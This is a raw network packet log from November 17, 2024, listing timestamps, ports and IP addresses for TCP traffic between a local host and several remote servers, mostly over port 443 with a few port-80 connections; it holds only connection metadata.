Nov 17, 2024 03:42:20.165555954 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.165565014 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.165585041 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.165637016 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.169914007 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.171660900 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.176527023 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.182507038 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.182569027 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.182579041 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.220602989 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.220743895 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.220801115 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.279575109 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.283652067 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.283752918 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.283833981 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.283864975 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.284184933 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.284251928 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.284270048 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.295187950 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.295263052 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.295280933 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.301232100 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.304677963 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.304696083 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.339134932 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.339174032 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.339250088 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.339267969 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.340737104 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.402580023 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.402678013 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.402760983 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.402780056 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.403016090 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.403162956 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.403177977 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.413996935 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.416826010 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.416841984 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.420042038 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.420738935 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.420774937 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.458266973 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.458393097 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.458556890 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.458565950 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.458615065 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.521559000 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.521774054 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.521862984 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.521929979 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.521962881 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.522284985 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.522298098 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.532763004 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.532948971 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.532963991 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.538976908 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.539071083 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.539086103 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.576622963 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.576908112 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.576917887 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.623354912 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.630091906 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.640311956 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.640419960 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.640507936 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.640593052 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.640604973 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.640634060 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.640661955 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.640727043 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.640739918 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.651391029 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.651501894 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.651565075 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.651582956 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.651638031 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.657572031 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.695339918 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.695451021 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.695512056 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.695528984 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.696736097 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.758991003 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.759161949 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.759213924 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.759222984 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.759335041 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.759382963 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.759390116 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.760323048 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.760399103 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.760406971 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.770073891 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.770128012 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.770136118 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.776336908 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.776413918 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.776422024 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.816570044 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.816632032 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.816648006 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.857736111 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.857754946 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.877571106 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.877652884 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.877664089 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.877743959 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.877793074 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.877799988 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.878132105 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.878187895 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.878195047 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.878462076 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:20.878518105 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.894393921 CET	49708	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:20.894433022 CET	443	49708	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:22.749639988 CET	49719	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:22.749747038 CET	443	49719	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:22.749839067 CET	49719	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:22.750164032 CET	49719	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:22.750195026 CET	443	49719	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:23.305996895 CET	49720	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:23.306030989 CET	443	49720	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:23.306134939 CET	49720	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:23.314378023 CET	49720	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:23.314392090 CET	443	49720	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:23.598812103 CET	443	49719	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:23.607918978 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:23.607948065 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:23.608017921 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:23.610753059 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:23.610765934 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:23.612632036 CET	49719	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:23.612683058 CET	443	49719	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:23.613054037 CET	443	49719	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:23.617337942 CET	49719	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:23.617446899 CET	443	49719	172.217.18.100	192.168.2.5
Nov 17, 2024 03:42:23.665054083 CET	49719	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:24.177207947 CET	443	49720	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:24.177373886 CET	49720	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:24.209806919 CET	49720	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:24.209821939 CET	443	49720	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:24.210761070 CET	443	49720	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:24.264065981 CET	49720	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:24.365998030 CET	49720	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:24.379746914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:24.380017042 CET	49728	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:24.384727955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:24.384902954 CET	80	49728	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:24.385001898 CET	49728	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:24.388556004 CET	49728	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:24.391274929 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:24.391453981 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:24.393467903 CET	80	49728	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:24.410361052 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:24.410379887 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:24.411298037 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:24.411331892 CET	443	49720	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:24.433834076 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:24.433933020 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:24.434036970 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:24.435193062 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:24.435214996 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:24.439140081 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:24.439197063 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:24.439327955 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:24.439974070 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:24.440028906 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:24.467235088 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:24.609544039 CET	443	49720	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:24.609699965 CET	443	49720	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:24.609751940 CET	49720	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:24.609981060 CET	49720	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:24.609999895 CET	443	49720	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:24.610013962 CET	49720	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:24.610021114 CET	443	49720	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:24.646534920 CET	49733	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:24.646559000 CET	443	49733	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:24.646727085 CET	49733	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:24.647196054 CET	49733	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:24.647209883 CET	443	49733	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:25.179421902 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.179507971 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.180999994 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.181006908 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.181416988 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.190501928 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.230216980 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:25.235363007 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.271365881 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.318639040 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:25.318895102 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:25.318964005 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:25.319538116 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:25.319606066 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:25.320539951 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:25.320619106 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:25.321585894 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:25.321685076 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:25.321820974 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:25.321839094 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:25.321913004 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:25.363341093 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:25.437498093 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.437556028 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.437601089 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.437628031 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.437638998 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.437666893 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.437688112 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.484225988 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.484287977 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.484308958 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.484328985 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.484339952 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:25.484359026 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.484376907 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:25.484400034 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.484441996 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.484452963 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:25.484462023 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.484503984 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:25.485014915 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.485091925 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:25.485097885 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.485136986 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:25.485141993 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.485218048 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:25.485268116 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:25.495229959 CET	443	49733	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:25.495311022 CET	49733	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:25.496378899 CET	49733	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:25.496383905 CET	443	49733	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:25.497277021 CET	443	49733	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:25.498145103 CET	49733	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:25.543335915 CET	443	49733	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:25.554310083 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.554434061 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.554454088 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.554467916 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.554498911 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.554517031 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.613051891 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:25.657402992 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:25.657442093 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:25.658626080 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:25.658680916 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:25.658830881 CET	443	49730	142.250.186.78	192.168.2.5
Nov 17, 2024 03:42:25.658896923 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:25.658896923 CET	49730	443	192.168.2.5	142.250.186.78
Nov 17, 2024 03:42:25.671283007 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.671363115 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.671370983 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.671391964 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.671426058 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.671441078 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.740461111 CET	443	49733	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:25.740650892 CET	443	49733	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:25.740783930 CET	49733	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:25.741686106 CET	49733	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:25.741695881 CET	443	49733	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:25.741761923 CET	49733	443	192.168.2.5	184.28.90.27
Nov 17, 2024 03:42:25.741769075 CET	443	49733	184.28.90.27	192.168.2.5
Nov 17, 2024 03:42:25.788170099 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.788208961 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.788247108 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.788259983 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.788281918 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.788338900 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.796174049 CET	80	49728	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:25.796226025 CET	49728	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:25.904824972 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.904860973 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.904901028 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.904910088 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:25.904939890 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.904951096 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:25.912167072 CET	49728	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:25.917071104 CET	80	49728	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:25.979310989 CET	49719	443	192.168.2.5	172.217.18.100
Nov 17, 2024 03:42:26.022315025 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.022344112 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.022399902 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.022418022 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.022432089 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.022459984 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.138679981 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.138720989 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.138775110 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.138789892 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.138823986 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.138843060 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.142608881 CET	49723	443	192.168.2.5	172.202.163.200
Nov 17, 2024 03:42:26.142626047 CET	443	49723	172.202.163.200	192.168.2.5
Nov 17, 2024 03:42:26.258488894 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.258549929 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.258584976 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.258599997 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.258629084 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.258665085 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.297023058 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.297096968 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.297135115 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.297143936 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.297157049 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.297200918 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.373640060 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.373713017 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.373735905 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.373749018 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.373775959 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.373802900 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.490278959 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.490348101 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.490370035 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.490385056 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.490420103 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.490432024 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.606838942 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.606888056 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.606931925 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.606950998 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.606982946 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.607080936 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.647592068 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.647639036 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.647676945 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.647687912 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.647732973 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.693125963 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.693211079 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.693226099 CET	443	49729	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:26.693278074 CET	49729	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:26.693290949 CET	443	49729	13.107.246.45	192.168.2.5
